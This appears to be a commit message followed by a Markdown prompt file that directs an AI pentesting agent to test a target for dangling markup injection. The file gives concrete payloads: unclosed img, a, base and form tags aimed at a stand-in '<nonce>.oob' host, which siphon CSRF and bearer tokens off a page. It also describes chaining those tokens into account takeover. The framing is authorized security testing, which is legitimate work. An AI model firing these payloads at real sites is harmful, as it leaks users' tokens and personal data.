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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
44 lines
2.9 KiB
Markdown
44 lines
2.9 KiB
Markdown
# Dangling Markup Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for Dangling markup data exfiltration.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Find partial-HTML injection
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- Look for reflection where full XSS is blocked but raw markup partly renders: `<`/`>` allowed but `<script>`/event handlers stripped, a WAF blocks JS but not tags, a strict CSP (`script-src 'none'`) forbids scripts yet lets markup through, or an email/HTML-report renderer that permits limited tags.
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- Confirm your input lands in an HTML context (not attribute-encoded/entity-escaped): inject `<b>NST_<nonce></b>` and check it renders bold.
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### 2. Inject dangling markup
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- Open a resource-fetching tag with an UNCLOSED attribute so the browser slurps subsequent page HTML (including secrets) into the request to your host:
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- `<img src='https://<nonce>.oob/?leak=` (no closing quote → everything up to the next `'` is sent as the query).
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- `<img src="https://<nonce>.oob/?" alt="` , `<a href="https://<nonce>.oob/?` , `<base href='https://<nonce>.oob/?` , `<textarea>` / `<form action='https://<nonce>.oob/'>` variants for when quote styles differ.
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- Target what follows the injection point in the DOM: an anti-CSRF token in a hidden field, a bearer token, PII rendered later on the page.
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### 3. Confirm (what counts as proof)
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- The exfiltrated content must ARRIVE at your collaborator (`interactsh`/Burp Collaborator) correlated to THIS attempt's nonce. Show the raw collaborator hit containing the leaked page bytes (e.g. the CSRF token value).
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- Pitfalls / false-positives: markup reflects but the browser doesn't fetch (attribute got entity-encoded) → no leak, not a finding; a strict `img-src`/`connect-src` CSP blocks the fetch → downgrade or find an allowed sink; modern browsers strip newlines and cap dangling-markup capture — verify actual receipt, not just that the tag rendered.
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### 4. Report Format
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For each CONFIRMED finding:
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```
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FINDING:
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- Title: Dangling Markup Injection Specialist at [endpoint]
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- Severity: Medium
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- CWE: CWE-79
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- Endpoint: [full URL]
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- Vector: [parameter/header/flow]
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- Payload: [exact payload/command]
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- Evidence: [proof of exploitation]
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- Impact: Exfiltration of page secrets (tokens/CSRF) when full XSS is blocked
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- Remediation: Context-aware encoding, CSP, sanitize unbalanced markup
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```
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**Chaining hooks:** a leaked CSRF/anti-forgery token feeds the CSRF PoC agent; a leaked bearer/session token feeds auth/account-takeover steps; this is often the fallback when XSS is blocked but markup injection survives.
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## System Prompt
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You are a dangling-markup specialist. Report ONLY when page data is actually exfiltrated to your endpoint — a raw collaborator hit correlated to the attempt's nonce showing the leaked bytes. Reflected markup without a received leak is not a finding. Keep the callback host a benign nonce you control; leak only enough to prove the exposure (e.g. the token), never mass-dump PII.
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